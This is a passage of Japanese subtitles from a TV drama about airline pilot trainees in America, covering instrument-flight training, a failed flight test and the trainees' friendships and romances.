--> 00:06:43,322\n何で アメリカくんだりまで来て➡\n\n134\n00:06:43,322 --> 00:06:45,324\n不思議ちゃんと\n寝なきゃなんないのよ。\n\n135\n00:06:45,324 --> 00:06:48,327\n寮の規則とかって\n絶対 嘘だと思います。\n\n136\n00:06:48,327 --> 00:06:50,329\n寝よ。\n\n137\n00:06:50,329 --> 00:06:54,333\nねえ 今から 千里の部屋に行って\n女子会でもする?\n\n138\n00:06:54,333 --> 00:06:56,335\nかのこさんも\n飲み足りなさそうだったし。\n\n139\n00:06:56,335 --> 00:06:59,338\nいや いい。\n孝之助がいなきゃ 意味ないし。\n\n140\n00:06:59,338 --> 00:07:02,341\nもう眠いからさ\n電気 消してもらっていい?\n\n141\n00:07:02,341 --> 00:07:05,341\nあっ そう…。 分かった。\n\n142\n00:07:12,351 --> 00:07:15,351\nせめてトランプくらいしない?\n\n143\n00:07:18,357 --> 00:07:21,360\nおやすみなさ~い。\n\n144\n00:07:21,360 --> 00:07:31,360\n♬~\n\n145\n00:09:08,534 --> 00:09:10,536\nすごい 晴ちゃん。\n\n146\n00:09:10,536 --> 00:09:13,539\nえっ? あれ\nあの子が操縦してるの?\n\n147\n00:09:13,539 --> 00:09:15,541\n人間って\nここまで進化するんですね。\n\n148\n00:09:15,541 --> 00:09:17,543\n誰が教官だと思ってんだよ。\n\n149\n00:09:17,543 --> 00:09:20,546\n晴ちゃん すごく努力したって\n千里ちゃん 褒めてたもん。\n\n150\n00:09:20,546 --> 00:09:24,550\nちなみに 千里さんは\nどうなんですか?\n\n151\n00:09:24,550 --> 00:09:27,553\nあいつは ここまで\nパーフェクトだ。\n\n152\n00:09:27,553 --> 00:09:30,556\nどこまでも嫌みな女。\n(倫子)でもさ➡\n\n153\n00:09:30,556 --> 00:09:33,559\nあの子らが できるってことは\n私たちも できるんじゃないの?\n\n154\n00:09:33,559 --> 00:09:35,561\n何か 私も\nそんな気がしてきました。\n\n155\n00:09:35,561 --> 00:09:39,565\n寝言は これ全部 頭ん中\nたたきこんでから言ってくれ。\n\n156\n00:09:39,565 --> 00:09:44,570\n(倫子)んっ? 何これ。\n(かのこ)出た これだ。 うわっ。➡\n\n157\n00:09:44,570 --> 00:09:47,573\nすごい。\n(すず)えっ? みんな これを?\n\n158\n00:09:47,573 --> 00:09:52,578\n(国木田)ああ。 あいつらは 今\n計器飛行のステージに入ってる。➡\n\n159\n00:09:52,578 --> 00:09:56,515\n機体の姿勢・高度・位置\n針路の測定を➡\n\n160\n00:09:56,515 --> 00:09:58,517\n計器だけを見て飛行する。➡\n\n161\n00:09:58,517 --> 00:10:01,520\nあんまり\nなめてもらいたくないな。\n\n162\n00:10:01,520 --> 00:10:03,520\n(エリック)OK。\n\n163\n00:10:17,536 --> 00:10:19,536\nRoger.\n\n164\n00:10:29,548 --> 00:10:31,548\nRoger.\n\n165\n00:10:37,556 --> 00:10:39,558\nRoger.\n\n166\n00:10:39,558 --> 00:10:42,561\n何で わざわざ 目隠しして\n飛ばなきゃいけないんだろう。\n\n167\n00:10:42,561 --> 00:10:44,563\n当たり前でしょ。\n夜間とか 雲に入ったときは➡\n\n168\n00:10:44,563 --> 00:10:46,565\nどうせ計器しか見えないんだから。\n\n169\n00:10:46,565 --> 00:10:49,568\nでも せっかく 空 飛んでるのに\n何にも見えないなんてさ。\n\n170\n00:10:49,568 --> 00:10:51,570\n(山田)っていうか そもそも\n計器の数が多過ぎんねん。\n\n171\n00:10:51,570 --> 00:10:53,589\nただでさえ エンジン増えて\n覚えること多いのに。\n\n172\n00:10:53,589 --> 00:10:56,508\nホントだよ。 もう 頭パニック。\n\n173\n00:10:56,508 --> 00:11:00,512\n俺は 逆に 計器だけ見てる方が\n落ち着くけどな。\n\n174\n00:11:00,512 --> 00:11:02,514\nえっ?\n計器は 嘘つかないからさ。\n\n175\n00:11:02,514 --> 00:11:04,516\nコックピットの外で\n何が起きようが➡\n\n176\n00:11:04,516 --> 00:11:06,518\n気にする必要もないし。\n\n177\n00:11:06,518 --> 00:11:09,521\n私も同じ。\n外が見えない方が集中できる。\n\n178\n00:11:09,521 --> 00:11:12,524\n何か… お前ら おかしいで。\nなあ?\n\n179\n00:11:12,524 --> 00:11:16,528\nうっ うん。 計器より\nまず 自分の目や 耳を信じなきゃ。\n\n180\n00:11:16,528 --> 00:11:18,530\n雲の中で\nどうやって信じるんだよ。\n\n181\n00:11:18,530 --> 00:11:20,532\nいや…。\n\n182\n00:11:20,532 --> 00:11:22,534\nじゃあ この状態で\n1km 走ってみて。\n\n183\n00:11:22,534 --> 00:11:25,537\nえっ いや それは無理。\nでしょ? だから計器が大事なの。\n\n184\n00:11:25,537 --> 00:11:28,540\n(諸星)一男も やってみろ。\nはい。 飯 食って。\n\n185\n00:11:28,540 --> 00:11:31,543\n(国木田)ったく 篠崎さんも\n人が悪いっすよ。➡\n\n186\n00:11:31,543 --> 00:11:33,545\n女3人組が こっち来んの\n知ってたんでしょ?\n\n187\n00:11:33,545 --> 00:11:36,548\n(篠崎)ん~? そうなの?\n☎(国木田)��弁してくださいよ。➡\n\n188\n00:11:36,548 --> 00:11:39,551\nこっち みんな ひいひい言いながら\nやってんのに。➡\n\n189\n00:11:39,551 --> 00:11:41,553\nで 篠崎さん\nこっち来てくんないんすか?\n\n190\n00:11:41,553 --> 00:11:45,557\nそれどころじゃないよ。\n来年 還暦だろ?\n\n191\n00:11:45,557 --> 00:11:48,560\n☎(篠崎)定年延長申請とか\n色々 大変なんだ。 ほら。\n\n192\n00:11:48,560 --> 00:11:51,563\nえっ?\nじゃ 65まで飛ぶ気なんすか?\n\n193\n00:11:51,563 --> 00:11:53,532\n☎(篠崎)駄目なの?\n☎(国木田)上が つかえてっから➡\n\n194\n00:11:53,532 --> 00:11:56,401\n若手が育たないと思うんですよね。\n\n195\n00:11:56,401 --> 00:11:59,404\nもうちょっと飛ばさせてくれよ。\n\n196\n00:11:59,404 --> 00:12:03,408\n俺も お前も 空 飛んで\nなんぼの人間じゃねえか。\n\n197\n00:12:03,408 --> 00:12:05,408\n確かに。\n\n198\n00:12:08,413 --> 00:12:11,416\nClearance between\nthe obstacles in VOR➡\n\n199\n00:12:11,416 --> 00:12:14,416\nfinal approach segment is….\n\n200\n00:12:16,421 --> 00:12:20,421\nあ~ 駄目だ。\n何で 覚えられないんだろう。\n\n201\n00:12:22,427 --> 00:12:24,429\nああ…。\n≪(ノック)\n\n202\n00:12:24,429 --> 00:12:26,431\nどうぞ。\n\n203\n00:12:26,431 --> 00:12:28,433\n忙しかった?\nううん ちょうど➡\n\n204\n00:12:28,433 --> 00:12:30,435\n息抜きしたいって\n思ってたとこだから。\n\n205\n00:12:30,435 --> 00:12:33,435\n倫子さんは?\n教官のとこ。\n\n206\n00:12:38,443 --> 00:12:43,448\nあのさ ちょっと\n聞いてほしいことがあるんだけど。\n\n207\n00:12:43,448 --> 00:12:46,451\n何?\n何か 泰治のやつがさ➡\n\n208\n00:12:46,451 --> 00:12:50,455\nホントは 私のことが好きなくせに\n別の女に はまっちゃったみたいで。\n\n209\n00:12:50,455 --> 00:12:53,458\nマジ? 誰?\n小田さん。\n\n210\n00:12:53,458 --> 00:12:56,495\nえっ? ちさ…。\nシー!\n\n211\n00:12:56,495 --> 00:12:59,498\nあのさ お願いがあるんだ。\n\n212\n00:12:59,498 --> 00:13:03,502\n(岸井)よう。 何? 話って。\n\n213\n00:13:03,502 --> 00:13:07,506\n座って。\nえっ?\n\n214\n00:13:07,506 --> 00:13:12,511\nどうしたのよ。\n改まっちゃってさぁ。\n\n215\n00:13:12,511 --> 00:13:18,517\n泰治さ すずちゃんのこと\nまだ 好きなんでしょ?\n\n216\n00:13:18,517 --> 00:13:21,520\nはい?\nなのに こっち来てから➡\n\n217\n00:13:21,520 --> 00:13:24,523\n他の女の子に\nモーション掛けるなんて➡\n\n218\n00:13:24,523 --> 00:13:26,523\n不謹慎だと思わない?\n\n219\n00:13:31,530 --> 00:13:33,532\nごめん。\n\n220\n00:13:33,532 --> 00:13:35,532\nどっちか はっきりしなよ。\n\n221\n00:13:37,536 --> 00:13:39,538\nえっ?\nだって じゃなきゃ➡\n\n222\n00:13:39,538 --> 00:13:42,538\nどっちの女の子も つらいって。\n\n223\n00:13:44,543 --> 00:13:47,546\n分かる? 私の言ってること。\n\n224\n00:13:47,546 --> 00:13:51,550\n分かる。 すげえ分かる。\n\n225\n00:13:51,550 --> 00:13:56,488\n(講師の英語)\n\n226\n00:13:56,488 --> 00:13:58,490\n(小鳥)急に どうしたの?\n\n227\n00:13:58,490 --> 00:14:01,493\n(岸井)お前さ 口 堅いよな?\n\n228\n00:14:01,493 --> 00:14:03,495\n(小鳥)どうかな。\n(岸井)堅いって!➡\n\n229\n00:14:03,495 --> 00:14:05,497\nいいか? 今から 俺が言うこと\n絶対 誰にも言うんじゃねえぞ。\n\n230\n00:14:05,497 --> 00:14:07,499\n言ったら お前\nたとえバディでも許さねえからな。\n\n231\n00:14:07,499 --> 00:14:10,502\nだったら 聞かなくてもいいけど。\n(岸井)聞けって。\n\n232\n00:14:10,502 --> 00:14:13,505\nあのさ 俺さ。\n(小鳥)うん。\n\n233\n00:14:13,505 --> 00:14:16,508\nハハハハ…。\n\n234\n00:14:16,508 --> 00:14:19,511\nフゥー!\n\n235\n00:14:19,511 --> 00:14:22,514\n晴に ほれられてるかも。\n\n236\n00:14:22,514 --> 00:14:24,514\nえぇ!?\n\n237\n00:14:26,518 --> 00:14:28,520\nハァ…。\n≪(ドアの開く音)\n\n238\n00:14:28,520 --> 00:14:30,522\nどうだった?\n\n239\n00:14:30,522 --> 00:14:33,525\nああ うん。\nガツンと言ってやった。\n\n240\n00:14:33,525 --> 00:14:36,528\nありがとう。 で リアクションは?\nリアクション?\n\n241\n00:14:36,528 --> 00:14:38,530\nあ~…\n何か 動揺してたみたいだし➡\n\n242\n00:14:38,530 --> 00:14:41,533\n千里のことは\nもう諦めたんじゃないかな。\n\n243\n00:14:41,533 --> 00:14:45,533\nよかった~。\nこれで安心して 日本に帰れる。\n\n244\n00:14:47,539 --> 00:14:49,541\n(篠崎)どうだった? あっちは。\n\n245\n00:14:49,541 --> 00:14:53,562\n「どう?」って。 私は\nご飯を作りに行っただけですから。\n\n246\n00:14:53,562 --> 00:14:56,481\nいや そりゃそうなんだけどさ。\nみんな元気だった?\n\n247\n00:14:56,481 --> 00:14:58,483\n(かのこ)必死でしたよ すごく。\n\n248\n00:14:58,483 --> 00:15:01,486\n私なんか\n晴ちゃんが操縦してる姿 見て➡\n\n249\n00:15:01,486 --> 00:15:05,490\n泣きそうになっちゃいました。\n(篠崎)う~ん…。\n\n250\n00:15:05,490 --> 00:15:09,494\n大変だよな アメリカは。\n徹底的に知識をたたきこまれ➡\n\n251\n00:15:09,494 --> 00:15:14,499\n脱落の恐怖に おびえながら\n飛び続ける。\n\n252\n00:15:14,499 --> 00:15:16,501\nでも 噂じゃあ\n篠崎さんも 国木田さんも➡\n\n253\n00:15:16,501 --> 00:15:19,504\nかなり\n優秀な成績だったんでしょ?\n\n254\n00:15:19,504 --> 00:15:23,508\nまあね。 自慢話 聞く?\n(かのこ)今度にしておきます。\n\n255\n00:15:23,508 --> 00:15:26,511\nいやぁ そりゃ残念だな。\n\n256\n00:15:26,511 --> 00:15:29,514\nうん。 ごちそうさま。\n\n257\n00:15:29,514 --> 00:15:31,516\n篠崎さん。\n(篠崎)んっ?\n\n258\n00:15:31,516 --> 00:15:34,519\n(かのこ)最近 痩せられました?\n\n259\n00:15:34,519 --> 00:15:36,521\nそうかな?\n体調管理 ばっちりなんだけど。\n\n260\n00:15:36,521 --> 00:15:39,524\n(かのこ)でも ちょっと\nお疲れに見えますけど。\n\n261\n00:15:39,524 --> 00:15:43,528\n私 こう見えても\nパイロットの体調には うるさいんです。\n\n262\n00:15:43,528 --> 00:15:46,528\nはい。 頑張ります。\n\n263\n00:17:20,592 --> 00:17:22,594\n(国木田)これから\n計器飛行試験を行う。➡\n\n264\n00:17:22,594 --> 00:17:28,600\n例年 ここで脱落する者が多いから\n心して挑むように。\n\n265\n00:17:28,600 --> 00:17:33,605\n今日は 雲があって 風も強く\n飛行条件は 悪い。\n\n266\n00:17:33,605 --> 00:17:39,611\nけど だからといって 試験結果に\n手心を加えるつもりはない。\n\n267\n00:17:39,611 --> 00:17:42,614\nこれまでと同じように\n2回連続して失敗したら➡\n\n268\n00:17:42,614 --> 00:17:45,617\nフェイル。 即帰国してもらう。➡\n\n269\n00:17:45,617 --> 00:17:49,621\n気持ち良く\n今日一発で合格するぞ。\n\n270\n00:17:49,621 --> 00:17:51,621\n(訓練生たち)はい!\n\n271\n00:17:53,625 --> 00:17:58,630\nお~。 失敗する気がしねえ。\nうん。 絶対 受かる気がする。\n\n272\n00:17:58,630 --> 00:18:00,632\n今日の俺 最強。\n\n273\n00:18:00,632 --> 00:18:03,635\n晴。 俺 お前のためにも\n頑張るかんな。\n\n274\n00:18:03,635 --> 00:18:08,640\n(ジョン)What?\n(岸井)いや 何でもないっす。\n\n275\n00:18:08,640 --> 00:18:10,642\nバカか。 行くぞ。\n\n276\n00:18:10,642 --> 00:18:13,645\nはい。\n\n277\n00:18:13,645 --> 00:18:15,645\n(ジョンの英語)\n\n278\n00:18:20,585 --> 00:18:22,585\nYes.\n\n279\n00:18:25,590 --> 00:18:28,593\nYes. あっ…。\n\n280\n00:18:28,593 --> 00:18:30,593\nハァ…。\n\n281\n00:18:43,608 --> 00:18:45,608\nRoger.\n\n282\n00:18:51,616 --> 00:18:53,616\n(エリック)OK。\n\n283\n00:18:56,621 --> 00:18:58,621\nRoger.\n\n284\n00:19:15,640 --> 00:19:18,640\n(小鳥)ああ やっぱり 駄目だった。\n(山田)あっ 来たで。\n\n285\n00:19:30,588 --> 00:19:32,590\n(悲鳴)\n\n286\n00:19:32,590 --> 00:19:50,608\n♬~\n\n287\n00:19:50,608 --> 00:20:05,623\n♬~\n\n288\n00:20:05,623 --> 00:20:07,625\n(岸井)うわぁ 結構 流されたな。\n\n289\n00:20:07,625 --> 00:20:10,625\n相当 風 強いで 今日。\n\n290\n00:20:17,635 --> 00:20:20,572\nご苦労さん。 いったん 戻って。\n\n291\n00:20:20,572 --> 00:20:29,572\n♬~\n\n292\n00:20:44,596 --> 00:20:46,596\nRoger.\n\n293\n00:20:53,605 --> 00:20:57,605\n(小鳥)受かる。 受からない。\n\n294\n00:21:17,629 --> 00:21:19,629\n今日の合格者は…。\n\n295\n00:21:22,567 --> 00:21:24,567\n残念ながら1名だけだ。\n\n296\n00:21:37,582 --> 00:21:41,586\n岸井 合格だ。\n\n297\n00:21:41,586 --> 00:21:45,590\nえっ? 俺?\n\n298\n00:21:45,590 --> 00:21:48,593\nやったね 泰治!\n(岸井)おお!\n\n299\n00:21:48,593 --> 00:21:50,595\n(小鳥)おめでとう!\n(山田)すごいな お前!\n\n300\n00:21:50,595 --> 00:21:52,595\n(国木田)騒ぐな!\n\n301\n00:21:54,599 --> 00:21:58,603\n(国木田)小鳥と諸星は\n横風への対応だな。➡\n\n302\n00:21:58,603 --> 00:22:01,606\nこの程度の気象条件で\n結果が左右されてるようじゃ➡\n\n303\n00:22:01,606 --> 00:22:03,606\n合格は出せない。\n\n304\n00:22:05,610 --> 00:22:07,612\n(国木田)手塚 山田は➡\n\n305\n00:22:07,612 --> 00:22:10,615\n横風には うまく対応してたけど。\nはい。\n\n306\n00:22:10,615 --> 00:22:14,619\n悪ぃ。 それ以外の減点が多過ぎて\n分かんねえわ。\n\n307\n00:22:14,619 --> 00:22:16,621\nあら…。\n(国木田)どんだけ 勘だけで➡\n\n308\n00:22:16,621 --> 00:22:19,557\n飛んでるかってことだ。\n\n309\n00:22:19,557 --> 00:22:22,560\nとにかく お前ら2人は\n計器飛行を鍛え直せ。\n\n310\n00:22:22,560 --> 00:22:25,563\n(晴・山田)はい。\n(国木田)小田は…。\n\n311\n00:22:25,563 --> 00:22:28,566\nアクシデントがあって\n不運だったな。➡\n\n312\n00:22:28,566 --> 00:22:32,570\nけど お前の実力なら あのまま\n着陸まで行けたはずだ。➡\n\n313\n00:22:32,570 --> 00:22:35,573\n次の試験は 3日後だ。\n\n314\n00:22:35,573 --> 00:22:40,578\nラストチャンスだ。\nここまで来て 落ちんじゃねえぞ。\n\n315\n00:22:40,578 --> 00:22:42,580\n(訓練生たち)はい!\n\n316\n00:22:42,580 --> 00:22:44,582\n合言葉は?\n\n317\n00:22:44,582 --> 00:22:46,584\n(5人)全員合格!\n\n318\n00:22:46,584 --> 00:22:50,588\n(山田)なあ シミュレーター\n付き合ってくれるやんな?\n\n319\n00:22:50,588 --> 00:22:53,591\n(小鳥)あ~ 自信ないなぁ。\n\n320\n00:22:53,591 --> 00:22:56,594\n(岸井)晴。 俺ら 先に行くけど。\n\n321\n00:22:56,594 --> 00:22:58,594\nうん。 分かった。\n\n322\n00:23:03,601 --> 00:23:08,606\nあ~ おなか すいた。\n今日の晩ご飯 何だろうね?\n\n323\n00:23:08,606 --> 00:23:11,609\nうん…。\n\n324\n00:23:11,609 --> 00:23:14,612\nあっ そういえばさ\n千里のバッジと同じで➡\n\n325\n00:23:14,612 --> 00:23:16,614\n私にも お守りあるんだ。\n\n326\n00:23:16,614 --> 00:23:18,633\nこれ。\nこの ばねは➡\n\n327\n00:23:18,633 --> 00:23:21,552\n飛行機の部品の一つなんだけど…。\nごめん。\n\n328\n00:23:21,552 --> 00:23:27,558\nえっ?\n先に帰ってもらってもいい?\n\n329\n00:23:27,558 --> 00:23:30,558\nうん。 分かった。\n\n330\n00:23:43,574 --> 00:23:46,577\n何だよ。\n\n331\n00:23:46,577 --> 00:23:50,581\nお願い?\n何だ お願いって。\n\n332\n00:23:50,581 --> 00:23:52,581\nはっ?\n\n333\n00:23:57,588 --> 00:24:00,591\n何で 俺が 小田を\n励まさなきゃなんねえんだよ。\n\n334\n00:24:00,591 --> 00:24:02,593\nお願いします。\n教官しか できないと思うんです。\n\n335\n00:24:02,593 --> 00:24:05,596\nふざけんなよ。\n嫌なんだよ。 そういうことは。\n\n336\n00:24:05,596 --> 00:24:08,596\nもう 一番 苦手だ。\nお願いします。\n\n337\n00:24:26,551 --> 00:24:29,554\n何ですか。\n\n338\n00:24:29,554 --> 00:24:32,554\n(国木田)\nいや 別に 何でもないけど。\n\n339\n00:24:34,559 --> 00:24:38,563\n仕方ねえだろ。\nアクシデントがあったんだから。\n\n340\n00:24:38,563 --> 00:24:42,567\nあれぐらい 対処できたはずだって\n言いましたよね?\n\n341\n00:24:42,567 --> 00:24:45,570\n言ったけどよ…。\n\n342\n00:24:45,570 --> 00:24:47,572\nまあ もう1回\nチャンスあるんだし。\n\n343\n00:24:47,572 --> 00:24:49,574\nパーフェクト狙ってたんで。\n\n344\n00:24:49,574 --> 00:24:51,576\nハァ…。\n\n345\n00:24:51,576 --> 00:24:54,579\nあのな んなもん\n何の役にも立たねえぞ。\n\n346\n00:24:54,579 --> 00:24:58,583\nせいぜい 合コンで\n自慢話が できる程度だ。\n\n347\n00:24:58,583 --> 00:25:02,587\nパーフェクトだった俺が言うんだから\n間違いねえよ。\n\n348\n00:25:02,587 --> 00:25:06,591\nハァ…。 もう記録に\nこだわる必要もねえんだ。\n\n349\n00:25:06,591 --> 00:25:09,591\nつまんねえプライド捨てて\nもっと 楽に飛べ。\n\n350\n00:25:12,597 --> 00:25:14,599\n心配してくれてるんですか?\n\n351\n00:25:14,599 --> 00:25:17,602\nいや 別に…。\n\n352\n00:25:17,602 --> 00:25:21,602\nほら バディが\n心配すんじゃねえか?\n\n353\n00:25:25,543 --> 00:25:31,549\nハァ…。\n小田 大丈夫だって。\n\n354\n00:25:31,549 --> 00:25:35,549\nお前は あとは\nここだけだよ ここ。\n\n355\n00:25:45,563 --> 00:25:47,565\n≪(ノック)\nどうぞ。\n\n356\n00:25:47,565 --> 00:25:50,568\n(ドアの開く音)\n\n357\n00:25:50,568 --> 00:25:52,570\n私も一緒に いい?\n\n358\n00:25:52,570 --> 00:25:57,575\nもちろんだよ。\nちょうど分かんないことあったし。\n\n359\n00:25:57,575 --> 00:26:02,580\n高度修正のしかたが\nいまいち分からないんだよね。\n\n360\n00:26:02,580 --> 00:26:05,583\nごめんね。\n何が?\n\n361\n00:26:05,583 --> 00:26:08,586\nばねの話。\nああ。\n\n362\n00:26:08,586 --> 00:26:10,588\nちゃんと聞かせてくれる?\nいいよ 大した話じゃないし。\n\n363\n00:26:10,588 --> 00:26:12,590\nいいから。\n\n364\n00:26:12,590 --> 00:26:14,590\nうん。\n\n365\n00:26:17,595 --> 00:26:21,532\nこの ばねを\nもらったときに言われたんだ。\n\n366\n00:26:21,532 --> 00:26:24,535\n飛行機は 300万の部品から\nできてて➡\n\n367\n00:26:24,535 --> 00:26:27,538\nその ばねも\nそのうちの一つなんだって。\n\n368\n00:26:27,538 --> 00:26:29,540\nたった 300万分の1でも➡\n\n369\n00:26:29,540 --> 00:26:32,543\n一つ足りないだけで\n飛行機は飛べない。\n\n370\n00:26:32,543 --> 00:26:34,545\nだから 私も➡\n\n371\n00:26:34,545 --> 00:26:37,545\nその ばねに\n負けないようにしなきゃって。\n\n372\n00:26:39,550 --> 00:26:42,553\n300万分の1か。\n\n373\n00:26:42,553 --> 00:26:44,553\nうん。\n\n374\n00:26:48,559 --> 00:26:51,562\nあっ それから ありがとね。\n\n375\n00:26:51,562 --> 00:26:53,564\nえっ?\n\n376\n00:26:53,564 --> 00:26:56,567\n教官に言ってくれたでしょ?\n私と話すように。\n\n377\n00:26:56,567 --> 00:26:59,570\nううん。 私じゃないよ。\n\n378\n00:26:59,570 --> 00:27:01,572\nそうなの?\nうん。\n\n379\n00:27:01,572 --> 00:27:03,572\nそうだったんだ。\n\n380\n00:27:08,579 --> 00:27:11,579\nあっ 高度修正だっけ?\nうん。\n\n381\n00:28:46,510 --> 00:28:48,512\nえっ? 岸井が?\n(すず)そうなんです。\n\n382\n00:28:48,512 --> 00:28:52,516\n泰治のやつ 一人だけ\n最終試験に進んだみたいなんです。\n\n383\n00:28:52,516 --> 00:28:55,519\nへぇ~。 ってことは\n他は 全員 落ちたってこと?\n\n384\n00:28:55,519 --> 00:28:57,521\nいや もう1回\nチャンスあるみたいですよ。\n\n385\n00:28:57,521 --> 00:28:59,523\nふ~ん そうなんだ。\n\n386\n00:28:59,523 --> 00:29:02,526\nっていうか 岸井 すごいじゃん。\nやったじゃん。\n\n387\n00:29:02,526 --> 00:29:05,529\n(すず)\n私 絶対 あいつと結婚します。\n\n388\n00:29:05,529 --> 00:29:07,531\n(倫子)そうだよ。 こうなったら➡\n\n389\n00:29:07,531 --> 00:29:09,533\n意地でも放しちゃ駄目だからね。\n(すず)はい。\n\n390\n00:29:09,533 --> 00:29:12,536\n(倫子)岸井が そのこと\n知らせてきたってことは➡\n\n391\n00:29:12,536 --> 00:29:15,539\nまだ あんたに\n気があるって証拠なんだから。\n\n392\n00:29:15,539 --> 00:29:19,543\nハァ…。\n(倫子)んっ?\n\n393\n00:29:19,543 --> 00:29:22,546\n岸井の まぶだちに\n小岩井君って人がいて➡\n\n394\n00:29:22,546 --> 00:29:24,546\nその人から 無理やり 聞いたんで。\n\n395\n00:29:26,550 --> 00:29:28,550\nああ…。\n\n396\n00:29:35,559 --> 00:29:38,562\nどうしたの? みんな。\n(岸井)いや 何か こいつら➡\n\n397\n00:29:38,562 --> 00:29:41,565\n眠れないっつって 朝から\n俺の部屋 押し掛けてきやがってさ。\n\n398\n00:29:41,565 --> 00:29:44,585\n何か 緊張してもうて。\n(小鳥)僕らも 一緒に いいかな?\n\n399\n00:29:44,585 --> 00:29:46,504\nもちろん。 泰治も?\n\n400\n00:29:46,504 --> 00:29:49,504\n付き合うしかないっしょ。\n≪(ドアの開く音)\n\n401\n00:29:51,509 --> 00:29:54,512\n(山田)何やってんの? お前。\n(諸星)別に。\n\n402\n00:29:54,512 --> 00:29:56,514\nたまたま 起きただけだよ。\n\n403\n00:29:56,514 --> 00:29:59,517\n(小鳥)\nそのわりに ジョギングウエア?\n\n404\n00:29:59,517 --> 00:30:03,521\n偶然だね。 私たちも\nちょうど走ろうと思ってたんだよ。\n\n405\n00:30:03,521 --> 00:30:05,523\n一緒に どう?\n\n406\n00:30:05,523 --> 00:30:08,526\nいいけど。 別に。\n(晴・千里)フフッ。\n\n407\n00:30:08,526 --> 00:30:11,526\nよし。 じゃ 行こう!\nうん。\n\n408\n00:30:17,535 --> 00:30:20,538\nけど 何かさ\nすごい経験してない? 私たち。\n\n409\n00:30:20,538 --> 00:30:22,540\n何が?\nだって 私なんて➡\n\n410\n00:30:22,540 --> 00:30:26,544\n自分が どんな仕事に就くかも\n分かんなかったんだよ。\n\n411\n00:30:26,544 --> 00:30:31,549\n毎日 履歴書 書きまくって\n不採用通知 もらいまくって。\n\n412\n00:30:31,549 --> 00:30:35,553\nそれが 今じゃ アメリカで\n飛行機 操縦してるんだよ!\n\n413\n00:30:35,553 --> 00:30:37,555\nまさに 奇跡ってやつ?\n\n414\n00:30:37,555 --> 00:30:39,557\n(岸井)\nいや でも 晴の言うとおりだよ。➡\n\n415\n00:30:39,557 --> 00:30:42,560\n俺ら すげえことしてるって。\n(諸星)だな。➡\n\n416\n00:30:42,560 --> 00:30:45,496\n結果が どうであれさ\n胸張って 帰ろうぜ。\n\n417\n00:30:45,496 --> 00:30:49,500\n(小鳥)そうだよ。\nパイロットだけが人生じゃないしね。\n\n418\n00:30:49,500 --> 00:30:51,502\n(山田)ちょっと待って待って。➡\n\n419\n00:30:51,502 --> 00:30:54,505\n今の納得感 ヤバくない?\n(岸井)そうだよ。\n\n420\n00:30:54,505 --> 00:30:57,508\nお前ら まだ 不合格って\n決まったわけじゃないんだからさ。\n\n421\n00:30:57,508 --> 00:30:59,510\nやめようよ マイナス思考は。\n\n422\n00:30:59,510 --> 00:31:02,513\nそうだよ やめようよ。\n千里も。\n\n423\n00:31:02,513 --> 00:31:04,515\nえっ?\n(岸井)ん~?\n\n424\n00:31:04,515 --> 00:31:06,517\nうぇ~い!\n分かってるよ もう!\n\n425\n00:31:06,517 --> 00:31:08,517\nだから切り替えたって。\nほら。\n\n426\n00:31:11,522 --> 00:31:14,525\n(諸星)とにかく 普通にやろう。\nあんまり 気張んないでさ���\n\n427\n00:31:14,525 --> 00:31:17,528\n二度目に受かったって\n合格は合格だしね。\n\n428\n00:31:17,528 --> 00:31:21,532\nそうそう。\n人生 山もあれば 谷もあるって。\n\n429\n00:31:21,532 --> 00:31:24,535\n(小鳥)もう じゅうぶん\n高いとこまで 山は登ったしね。\n\n430\n00:31:24,535 --> 00:31:28,539\n(山田)そうやな。 あとは ゆっくり\n下っていくだけやな。\n\n431\n00:31:28,539 --> 00:31:30,541\nちょっと待って\nちょっと待って…。\n\n432\n00:31:30,541 --> 00:31:32,543\n何で下るの? 逆じゃない?\n\n433\n00:31:32,543 --> 00:31:34,545\n(岸井)だから やめろって\nマイナス思考は。\n\n434\n00:31:34,545 --> 00:31:38,549\n(山田)やめろって 諸星。\n誰が言いだしたの?\n\n435\n00:31:38,549 --> 00:31:41,552\n(小鳥)ああ 僕だ。\n(山田)お前かよ!➡\n\n436\n00:31:41,552 --> 00:31:44,572\nでも ホンマは 俺やで。\n\n437\n00:31:44,572 --> 00:31:46,490\n次にネガティブ発言したら\n罰金だからね。\n\n438\n00:31:46,490 --> 00:31:48,492\n分かった?\n(岸井)よし そうしよう。\n\n439\n00:31:48,492 --> 00:31:52,496\nよ~し。 じゃ 合言葉は?\n\n440\n00:31:52,496 --> 00:31:55,499\n(訓練生たち)全員合格!\n\n441\n00:31:55,499 --> 00:31:58,502\n(山田)だから\n横風着陸に必要なんは➡\n\n442\n00:31:58,502 --> 00:32:00,502\n度胸や 度胸。\n\n443\n00:32:02,506 --> 00:32:05,509\n(山田)横風が強くて なんぼ\nこう 機体が あおられても➡\n\n444\n00:32:05,509 --> 00:32:07,511\n自分の気持ちまでは\n飛ばさせへんぞっていう➡\n\n445\n00:32:07,511 --> 00:32:09,513\n強い気持ちを\n持てるかどうかやと思うねん。\n\n446\n00:32:09,513 --> 00:32:12,516\n私も そう思う。 もう 気合で\n突っ込むしかないって。\n\n447\n00:32:12,516 --> 00:32:15,519\nお前らってさ\nそういう精神論だけで➡\n\n448\n00:32:15,519 --> 00:32:17,521\nずっと飛んでたの?\n(山田)うん。\n\n449\n00:32:17,521 --> 00:32:22,526\n聞いた相手が悪いんだって。\n(小鳥)うん。 何か… ごめん。\n\n450\n00:32:22,526 --> 00:32:25,529\n高度に 集中すると\n速度が ずれるじゃん?\n\n451\n00:32:25,529 --> 00:32:27,531\nそれを 修正しようとすると\n別の計器が ずれるの。\n\n452\n00:32:27,531 --> 00:32:29,533\nそれが どんどん どんどん\n広がってって…。\n\n453\n00:32:29,533 --> 00:32:31,535\n(山田)それ分かるわ~。\n\n454\n00:32:31,535 --> 00:32:33,537\n数字と追い掛けっこに\nなんねんな。\n\n455\n00:32:33,537 --> 00:32:35,539\nそれって 単に\n集中力の問題じゃない?\n\n456\n00:32:35,539 --> 00:32:38,542\nいや もっと シンプルに\n考えればいいんだよ。➡\n\n457\n00:32:38,542 --> 00:32:40,544\n飛んでるときは➡\n\n458\n00:32:40,544 --> 00:32:44,515\nとにかく この姿勢指示器に\n集中してればいいんだよ。➡\n\n459\n00:32:44,515 --> 00:32:46,383\n高度が変わったり\n針路が変わったりするのも➡\n\n460\n00:32:46,383 --> 00:32:49,386\n本はといえば\n姿勢が変化するからだろ?\n\n461\n00:32:49,386 --> 00:32:53,390\nっていうことは 他の計器が動く\nきっかけが➡\n\n462\n00:32:53,390 --> 00:32:56,393\nこの姿勢指示器なんだよ。\nああ 